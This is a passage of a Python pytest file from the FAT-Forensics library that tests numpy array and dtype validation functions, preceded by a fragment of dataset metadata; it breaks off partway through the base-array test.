"max_forks_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.5873925501, "max_line_length": 594, "alphanum_fraction": 0.6859651484, "include": true, "reason": "import numpy", "num_tokens": 8917, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.39233683016710835, "lm_q2_score": 0.12765262532179067, "lm_q1q2_score": 0.0500828263812609}}
{"text": "\"\"\"\nTests functions responsible for objects validation across FAT-Forensics.\n\"\"\"\n# Author: Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\n# pylint: disable=too-many-lines\n\nimport numpy as np\nimport pytest\n\nimport fatf.utils.array.validation as fuav\nimport fatf.utils.tools as fut\n\nfrom fatf.utils.testing.arrays import (\n    NUMERICAL_NP_ARRAY, NOT_NUMERICAL_NP_ARRAY, WIDE_NP_ARRAY,\n    NUMERICAL_STRUCTURED_ARRAY, NOT_NUMERICAL_STRUCTURED_ARRAY,\n    WIDE_STRUCTURED_ARRAY, BASE_NP_ARRAY, NOT_BASE_NP_ARRAY,\n    BASE_STRUCTURED_ARRAY, NOT_BASE_STRUCTURED_ARRAY)\n\nNUMERICAL_KINDS = [True, 1, -1, 1.0, 1 + 1j, np.nan, np.inf, -np.inf]\nNOT_NUMERICAL_KINDS = [object(), 'string', u'unicode', None]\nTEXTUAL_KINDS = ['string', u'unicode']\nUNSUPPORTED_TEXTUAL_KINDS = [b'bytes']\nUNSUPPORTED_TEXTUAL_DTYPES = [np.dtype('S'), np.dtype('a')]\nBASE_KINDS = [True, 1, -1, 1.0, 1 + 1j, 'string', u'unicode', b'bytes', np.nan,\n              np.inf, -np.inf]  # yapf: disable\nNOT_BASE_KINDS = [None, object()]\n\nNP_VER = [int(i) for i in np.version.version.split('.')]\nNP_VER_TYPEERROR_MSG_14 = 'a bytes-like object is required, not \\'int\\''\nNP_VER_TYPEERROR_MSG_12 = 'Empty data-type'\n\n\ndef test_is_numerical_dtype():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_numerical_dtype` function.\n    \"\"\"\n    type_error = 'The input should be a numpy dtype object.'\n    value_error = ('The numpy dtype object is structured. '\n                   'Only base dtype are allowed.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_numerical_dtype(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical arrays\n    for i in NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_numerical_dtype(array_dtype) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_numerical_dtype(array_dtype) is False\n\n    # Test simple numerical array\n    assert fuav.is_numerical_dtype(NUMERICAL_NP_ARRAY.dtype) is True\n    # Test simple not numerical array\n    assert fuav.is_numerical_dtype(NOT_NUMERICAL_NP_ARRAY.dtype) is False\n    assert fuav.is_numerical_dtype(BASE_NP_ARRAY.dtype) is False\n    assert fuav.is_numerical_dtype(NOT_BASE_NP_ARRAY.dtype) is False\n\n    # Test structured numerical array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_numerical_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    # Test structured not numerical array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_numerical_dtype(NOT_NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_numerical_dtype(BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_numerical_dtype(NOT_BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is bool:\n                    assert fuav.is_numerical_dtype(np.dtype(dtype)) is True\n                else:\n                    assert fuav.is_numerical_dtype(np.dtype(dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_numerical_dtype(np.dtype(dtype)) is True\n\n\ndef test_is_textual_dtype():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_textual_dtype` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-statements\n    type_error = 'The input should be a numpy dtype object.'\n    value_error = ('The numpy dtype object is structured. '\n                   'Only base dtype are allowed.')\n    warning_message = ('Zero-terminated bytes type is not supported and is '\n                       'not considered to be a textual type. Please use any '\n                       'other textual type.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_textual_dtype(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical arrays\n    for i in NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_textual_dtype(array_dtype) is False\n\n    # Test simple textual arrays\n    for i in TEXTUAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_textual_dtype(array_dtype) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_textual_dtype(array_dtype) is False\n\n    for i in UNSUPPORTED_TEXTUAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_textual_dtype(array_dtype) is False\n            assert warning_message == str(warning[0].message)\n\n    for dtype in UNSUPPORTED_TEXTUAL_DTYPES:\n        with pytest.warns(UserWarning) as warning:\n            assert fuav.is_textual_dtype(dtype) is False\n        assert warning_message == str(warning[0].message)\n\n    # Test simple numerical array\n    assert fuav.is_textual_dtype(NUMERICAL_NP_ARRAY.dtype) is False\n    # Test simple not numerical array (with objects)\n    assert fuav.is_textual_dtype(NOT_NUMERICAL_NP_ARRAY.dtype) is False\n    assert fuav.is_textual_dtype(BASE_NP_ARRAY.dtype) is True\n    assert fuav.is_textual_dtype(NOT_BASE_NP_ARRAY.dtype) is False\n\n    # Test structured numerical array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_textual_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    # Test structured not numerical array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_textual_dtype(NOT_NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_textual_dtype(BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_textual_dtype(NOT_BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is str:\n                    assert fuav.is_textual_dtype(np.dtype(dtype)) is True\n                elif dtype is bytes:  # pragma: no cover\n                    with pytest.warns(UserWarning) as warning:\n                        assert fuav.is_textual_dtype(np.dtype(dtype)) is False\n                    assert warning_message == str(warning[0].message)\n                else:\n                    assert fuav.is_textual_dtype(np.dtype(dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_textual_dtype(np.dtype(dtype)) is False\n\n\ndef test_is_base_dtype():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_base_dtype` function.\n    \"\"\"\n    type_error = 'The input should be a numpy dtype object.'\n    value_error = ('The numpy dtype object is structured. '\n                   'Only base dtype are allowed.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_base_dtype(None)\n    assert str(exin.value) == type_error\n\n    # Test simple type arrays\n    for i in BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_base_dtype(array_dtype) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            array_dtype = array.dtype\n            assert fuav.is_base_dtype(array_dtype) is False\n\n    # Test simple array\n    assert fuav.is_base_dtype(NUMERICAL_NP_ARRAY.dtype) is True\n    assert fuav.is_base_dtype(NOT_NUMERICAL_NP_ARRAY.dtype) is False\n    assert fuav.is_base_dtype(BASE_NP_ARRAY.dtype) is True\n    assert fuav.is_base_dtype(NOT_BASE_NP_ARRAY.dtype) is False\n\n    # Test structured array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_base_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_base_dtype(NOT_NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_base_dtype(BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_base_dtype(NOT_BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is bool or dtype is str or dtype is bytes:\n                    assert fuav.is_base_dtype(np.dtype(dtype)) is True\n                else:\n                    assert fuav.is_base_dtype(np.dtype(dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_base_dtype(np.dtype(dtype)) is True\n\n\ndef test_is_flat_dtype():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_flat_dtype` function.\n    \"\"\"\n\n    def numpy_low():\n        assert fuav.is_flat_dtype(NUMERICAL_NP_ARRAY.dtype)\n        assert fuav.is_flat_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype[0])\n        assert fuav.is_flat_dtype(weird_array_1.dtype[0])\n        assert fuav.is_flat_dtype(weird_array_1.dtype[1])\n        assert not fuav.is_flat_dtype(weird_array_1.dtype[2])\n        assert fuav.is_flat_dtype(weird_array_2.dtype)\n\n    def numpy_high():  # pragma: no cover\n        assert fuav.is_flat_dtype(NUMERICAL_NP_ARRAY.dtype)\n        assert fuav.is_flat_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype[0])\n        assert fuav.is_flat_dtype(weird_array_1.dtype[0])\n        assert fuav.is_flat_dtype(weird_array_1.dtype[1])\n        assert not fuav.is_flat_dtype(weird_array_1.dtype[2])\n        assert fuav.is_flat_dtype(weird_array_2.dtype)\n\n    type_error = 'The input should be a numpy dtype object.'\n    value_error = ('The numpy dtype object is structured. '\n                   'Only base dtype are allowed.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_flat_dtype(None)\n    assert str(exin.value) == type_error\n\n    # Test structured array\n    with pytest.raises(ValueError) as exin:\n        fuav.is_flat_dtype(NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_flat_dtype(NOT_NUMERICAL_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_flat_dtype(BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n    with pytest.raises(ValueError) as exin:\n        fuav.is_flat_dtype(NOT_BASE_STRUCTURED_ARRAY.dtype)\n    assert str(exin.value) == value_error\n\n    weird_array_1 = np.zeros(\n        3, dtype=[('x', 'f4'), ('y', np.float32), ('v', 'f4', (2, 2))])\n    weird_array_2 = np.ones((2, 2), dtype=weird_array_1.dtype[2])\n\n    if fuav._NUMPY_1_13:  # pragma: no cover # pylint: disable=protected-access\n        numpy_low()\n        numpy_high()\n    else:  # pragma: no cover\n        numpy_low()\n\n\ndef test_are_similar_dtypes():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.are_similar_dtypes` function.\n    \"\"\"\n    # pylint: disable=too-many-statements\n    type_error_a = 'dtype_a should be a numpy dtype object.'\n    type_error_b = 'dtype_b should be a numpy dtype object.'\n    value_error_a = ('The dtype_a is a structured numpy dtype object. Only '\n                     'base dtype are allowed.')\n    value_error_b = ('The dtype_b is a structured numpy dtype object. Only '\n                     'base dtype are allowed.')\n\n    simple_dtype = NUMERICAL_NP_ARRAY.dtype\n    structured_dtype = NUMERICAL_STRUCTURED_ARRAY.dtype\n\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtypes(None, None, False)\n    assert str(exin.value) == type_error_a\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtypes(None, simple_dtype, True)\n    assert str(exin.value) == type_error_a\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtypes(simple_dtype, None, False)\n    assert str(exin.value) == type_error_b\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtypes(structured_dtype, None, True)\n    assert str(exin.value) == type_error_b\n\n    # Test structured dtype\n    with pytest.raises(ValueError) as exin:\n        fuav.are_similar_dtypes(structured_dtype, structured_dtype, True)\n    assert str(exin.value) == value_error_a\n    with pytest.raises(ValueError) as exin:\n        fuav.are_similar_dtypes(structured_dtype, simple_dtype, False)\n    assert str(exin.value) == value_error_a\n    with pytest.raises(ValueError) as exin:\n        fuav.are_similar_dtypes(simple_dtype, structured_dtype, True)\n    assert str(exin.value) == value_error_b\n\n    f1_dtype = np.array([5, 1.222]).dtype\n    f2_dtype = np.array([5, 1], dtype=float).dtype\n    f3_dtype = np.array([5, 1]).dtype\n    c1_dtype = np.array(['a', 'b']).dtype\n    c2_dtype = np.array(['a']).dtype\n    c3_dtype = np.array(['ab']).dtype\n    c4_dtype = np.array(['a'], dtype=str).dtype\n    c5_dtype = np.array([u'a']).dtype\n\n    # Strict type comparison\n    assert fuav.are_similar_dtypes(f1_dtype, f2_dtype, True) is True\n    assert fuav.are_similar_dtypes(f2_dtype, f3_dtype, True) is False\n    assert fuav.are_similar_dtypes(f3_dtype, c1_dtype, True) is False\n    assert fuav.are_similar_dtypes(c1_dtype, c2_dtype, True) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c4_dtype, True) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c3_dtype, True) is False\n    assert fuav.are_similar_dtypes(c3_dtype, c4_dtype, True) is False\n    assert fuav.are_similar_dtypes(c1_dtype, c5_dtype, True) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c5_dtype, True) is True\n\n    # Fuzzy type comparison\n    assert fuav.are_similar_dtypes(f1_dtype, f2_dtype, False) is True\n    assert fuav.are_similar_dtypes(f2_dtype, f3_dtype, False) is True\n    assert fuav.are_similar_dtypes(f3_dtype, c1_dtype, False) is False\n    assert fuav.are_similar_dtypes(c1_dtype, c2_dtype, False) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c4_dtype, False) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c3_dtype, False) is True\n    assert fuav.are_similar_dtypes(c3_dtype, c4_dtype, False) is True\n    assert fuav.are_similar_dtypes(c1_dtype, c5_dtype, False) is True\n    assert fuav.are_similar_dtypes(c2_dtype, c5_dtype, False) is True\n\n\ndef test_are_similar_dtype_arrays():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.are_similar_dtype_arrays`.\n    \"\"\"\n    type_error_a = 'array_a should be a numpy array-like object.'\n    type_error_b = 'array_b should be a numpy array-like object.'\n\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtype_arrays(None, None, False)\n    assert str(exin.value) == type_error_a\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtype_arrays(None, NUMERICAL_NP_ARRAY, True)\n    assert str(exin.value) == type_error_a\n    with pytest.raises(TypeError) as exin:\n        fuav.are_similar_dtype_arrays(NUMERICAL_NP_ARRAY, None, False)\n    assert str(exin.value) == type_error_b\n\n    # One structured the other one unstructured\n    assert fuav.are_similar_dtype_arrays(\n        NUMERICAL_NP_ARRAY, NUMERICAL_STRUCTURED_ARRAY, False) is False\n    assert fuav.are_similar_dtype_arrays(NUMERICAL_STRUCTURED_ARRAY,\n                                         NUMERICAL_NP_ARRAY, True) is False\n\n    f1_array = np.array([5, 1.222])\n    f2_array = np.array([5, 1], dtype=float)\n    f3_array = np.array([5, 1])\n    c1_array = np.array(['a', 'b'])\n    c2_array = np.array(['a'])\n    c3_array = np.array(['ab'])\n    c4_array = np.array(['a'], dtype=str)\n\n    # Both unstructured\n    # Strict type comparison\n    assert fuav.are_similar_dtype_arrays(f1_array, f2_array, True) is True\n    assert fuav.are_similar_dtype_arrays(f2_array, f3_array, True) is False\n    assert fuav.are_similar_dtype_arrays(f3_array, c1_array, True) is False\n    assert fuav.are_similar_dtype_arrays(c1_array, c2_array, True) is True\n    assert fuav.are_similar_dtype_arrays(c2_array, c4_array, True) is True\n    assert fuav.are_similar_dtype_arrays(c2_array, c3_array, True) is False\n    assert fuav.are_similar_dtype_arrays(c3_array, c4_array, True) is False\n    # Fuzzy type comparison\n    assert fuav.are_similar_dtype_arrays(f1_array, f2_array, False) is True\n    assert fuav.are_similar_dtype_arrays(f2_array, f3_array, False) is True\n    assert fuav.are_similar_dtype_arrays(f3_array, c1_array, False) is False\n    assert fuav.are_similar_dtype_arrays(c1_array, c2_array, False) is True\n    assert fuav.are_similar_dtype_arrays(c2_array, c4_array, False) is True\n    assert fuav.are_similar_dtype_arrays(c2_array, c3_array, False) is True\n    assert fuav.are_similar_dtype_arrays(c3_array, c4_array, False) is True\n\n    s1_array = np.array([(1, 'abc', 3.14)],\n                        dtype=[('a', int), ('b', str), ('c', float)])\n    s2_array = np.array([(1, 'abc')], dtype=[('a', int), ('b', str)])\n    s3_array = np.array([(1, 'abc')], dtype=[('a', int), ('c', str)])\n    s4_array = np.array([(1, 'abc')], dtype=[('a', int), ('b', str)])\n    s5_array = np.array([(1, 'abc')], dtype=[('a', float), ('c', str)])\n\n    # Both structured\n    # Strict type comparison\n    assert fuav.are_similar_dtype_arrays(s1_array, s2_array, True) is False\n    assert fuav.are_similar_dtype_arrays(s2_array, s3_array, True) is False\n    assert fuav.are_similar_dtype_arrays(s2_array, s4_array, True) is True\n    assert fuav.are_similar_dtype_arrays(s4_array, s5_array, True) is False\n    # Fuzzy type comparison\n    assert fuav.are_similar_dtype_arrays(s1_array, s3_array, False) is False\n    assert fuav.are_similar_dtype_arrays(s2_array, s3_array, False) is False\n    assert fuav.are_similar_dtype_arrays(s2_array, s4_array, False) is True\n    assert fuav.are_similar_dtype_arrays(s4_array, s5_array, False) is False\n\n\ndef test_is_numerical_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_numerical_array` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-statements\n    type_error = 'The input should be a numpy array-like object.'\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_numerical_array(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical arrays\n    for i in NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_numerical_array(array) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_numerical_array(array) is False\n\n    # Test simple numerical array\n    assert fuav.is_numerical_array(NUMERICAL_NP_ARRAY) is True\n    # Test structured numerical array\n    assert fuav.is_numerical_array(NUMERICAL_STRUCTURED_ARRAY) is True\n    #\n    assert fuav.is_numerical_array(WIDE_NP_ARRAY) is True\n    assert fuav.is_numerical_array(WIDE_STRUCTURED_ARRAY) is True\n\n    # Test simple not numerical array\n    assert fuav.is_numerical_array(NOT_NUMERICAL_NP_ARRAY) is False\n    # Test structured not numerical array\n    assert fuav.is_numerical_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is False\n\n    # Test base arrays\n    assert fuav.is_numerical_array(BASE_NP_ARRAY) is False\n    assert fuav.is_numerical_array(NOT_BASE_NP_ARRAY) is False\n    assert fuav.is_numerical_array(BASE_STRUCTURED_ARRAY) is False\n    assert fuav.is_numerical_array(NOT_BASE_STRUCTURED_ARRAY) is False\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        # yapf: disable\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is bool:\n                    assert fuav.is_numerical_array(\n                        np.empty((1, ), dtype=dtype)) is True\n                    assert fuav.is_numerical_array(\n                        np.ones((1, ), dtype=dtype)) is True\n                    assert fuav.is_numerical_array(\n                        np.zeros((1, ), dtype=dtype)) is True\n                elif dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_numerical_array(\n                                np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_numerical_array(\n                                np.zeros((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_numerical_array(\n                                np.empty((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_numerical_array(\n                                np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        assert fuav.is_numerical_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_numerical_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                    else:\n                        assert fuav.is_numerical_array(\n                            np.ones((1, ), dtype=dtype)) is False\n                        assert fuav.is_numerical_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_numerical_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                else:\n                    assert fuav.is_numerical_array(\n                        np.zeros((1, ), dtype=dtype)) is False\n                    assert fuav.is_numerical_array(\n                        np.empty((1, ), dtype=dtype)) is False\n                    assert fuav.is_numerical_array(\n                        np.ones((1, ), dtype=dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_numerical_array(\n                    np.empty((1, ), dtype=dtype)) is True\n                assert fuav.is_numerical_array(\n                    np.ones((1, ), dtype=dtype)) is True\n                assert fuav.is_numerical_array(\n                    np.zeros((1, ), dtype=dtype)) is True\n        # yapf: enable\n\n\ndef test_is_textual_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_textual_array` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-statements\n    type_error = 'The input should be a numpy array-like object.'\n    warning_message = ('Zero-terminated bytes type is not supported and is '\n                       'not considered to be a textual type. Please use any '\n                       'other textual type.')\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_textual_array(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical arrays\n    for i in NUMERICAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_textual_array(array) is False\n\n    # Test simple not numerical arrays\n    for i in TEXTUAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_textual_array(array) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_textual_array(array) is False\n\n    for i in UNSUPPORTED_TEXTUAL_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            with pytest.warns(UserWarning) as warning:\n                assert fuav.is_textual_array(array) is False\n            assert warning_message == str(warning[0].message)\n\n    # Test simple numerical array\n    assert fuav.is_textual_array(NUMERICAL_NP_ARRAY) is False\n    # Test structured numerical array\n    assert fuav.is_textual_array(NUMERICAL_STRUCTURED_ARRAY) is False\n    #\n    assert fuav.is_textual_array(WIDE_NP_ARRAY) is False\n    assert fuav.is_textual_array(WIDE_STRUCTURED_ARRAY) is False\n\n    # Test simple not numerical array\n    assert fuav.is_textual_array(NOT_NUMERICAL_NP_ARRAY) is False\n    # Test structured not numerical array\n    assert fuav.is_textual_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is False\n\n    # Test base arrays\n    assert fuav.is_textual_array(BASE_NP_ARRAY) is True\n    assert fuav.is_textual_array(NOT_BASE_NP_ARRAY) is False\n    assert fuav.is_textual_array(BASE_STRUCTURED_ARRAY) is False\n    assert fuav.is_textual_array(NOT_BASE_STRUCTURED_ARRAY) is False\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        # yapf: disable\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is str:\n                    assert fuav.is_textual_array(\n                        np.empty((1, ), dtype=dtype)) is True\n                    assert fuav.is_textual_array(\n                        np.ones((1, ), dtype=dtype)) is True\n                    assert fuav.is_textual_array(\n                        np.zeros((1, ), dtype=dtype)) is True\n                elif dtype is bytes:  # pragma: no cover\n                    with pytest.warns(UserWarning) as warning:\n                        assert fuav.is_textual_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                    assert warning_message == str(warning[0].message)\n                    with pytest.warns(UserWarning) as warning:\n                        assert fuav.is_textual_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                    assert warning_message == str(warning[0].message)\n                    with pytest.warns(UserWarning) as warning:\n                        assert fuav.is_textual_array(\n                            np.ones((1, ), dtype=dtype)) is False\n                    assert warning_message == str(warning[0].message)\n                elif dtype is np.void:  # pragma: no cover\n                    if not fut.at_least_verion([1, 12], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_textual_array(np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_textual_array(\n                                np.zeros((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_textual_array(\n                                np.empty((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_12\n                    elif not fut.at_least_verion([1, 14], NP_VER):\n                        with pytest.raises(TypeError) as exin:\n                            fuav.is_textual_array(np.ones((1, ), dtype=dtype))\n                        assert str(exin.value) == NP_VER_TYPEERROR_MSG_14\n                        assert fuav.is_textual_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_textual_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                    else:\n                        assert fuav.is_textual_array(\n                            np.ones((1, ), dtype=dtype)) is False\n                        assert fuav.is_textual_array(\n                            np.zeros((1, ), dtype=dtype)) is False\n                        assert fuav.is_textual_array(\n                            np.empty((1, ), dtype=dtype)) is False\n                else:\n                    assert fuav.is_textual_array(\n                        np.zeros((1, ), dtype=dtype)) is False\n                    assert fuav.is_textual_array(\n                        np.empty((1, ), dtype=dtype)) is False\n                    assert fuav.is_textual_array(\n                        np.ones((1, ), dtype=dtype)) is False\n        else:\n            for dtype in dtypes:\n                assert fuav.is_textual_array(\n                    np.empty((1, ), dtype=dtype)) is False\n                assert fuav.is_textual_array(\n                    np.ones((1, ), dtype=dtype)) is False\n                assert fuav.is_textual_array(\n                    np.zeros((1, ), dtype=dtype)) is False\n        # yapf: enable\n\n\ndef test_is_base_array():\n    \"\"\"\n    Tests :func:`fatf.utils.array.validation.is_base_array` function.\n    \"\"\"\n    # pylint: disable=too-many-branches,too-many-statements\n    type_error = 'The input should be a numpy array-like object.'\n    # Test any object\n    with pytest.raises(TypeError) as exin:\n        fuav.is_base_array(None)\n    assert str(exin.value) == type_error\n\n    # Test simple numerical arrays\n    for i in BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_base_array(array) is True\n\n    # Test simple not numerical arrays\n    for i in NOT_BASE_KINDS:\n        for j in [i, [i], [i] * 2, [[i] * 2] * 2]:\n            array = np.array(j)\n            assert fuav.is_base_array(array) is False\n\n    # Test simple array\n    assert fuav.is_base_array(NUMERICAL_NP_ARRAY) is True\n    assert fuav.is_base_array(WIDE_NP_ARRAY) is True\n    assert fuav.is_base_array(NOT_NUMERICAL_NP_ARRAY) is False\n    # Test structured array\n    assert fuav.is_base_array(WIDE_STRUCTURED_ARRAY) is True\n    assert fuav.is_base_array(NUMERICAL_STRUCTURED_ARRAY) is True\n    assert fuav.is_base_array(NOT_NUMERICAL_STRUCTURED_ARRAY) is True\n    # Test base arrays\n    assert fuav.is_base_array(BASE_NP_ARRAY) is True\n    assert fuav.is_base_array(NOT_BASE_NP_ARRAY) is False\n    assert fuav.is_base_array(BASE_STRUCTURED_ARRAY) is True\n    assert fuav.is_base_array(NOT_BASE_STRUCTURED_ARRAY) is False\n\n    # Test numpy types\n    for kind, dtypes in np.sctypes.items():\n        # yapf: disable\n        if kind == 'others':\n            for dtype in dtypes:\n                if dtype is bool or dtype is str or dtype is bytes:\n                    assert fuav.is_base_array(\n                        np.empty((1, ), dtype=dtype)) is True\n                    assert fuav.is_base_array(\n                        np.ones((1, ), dtype=dtype)) is True\n                    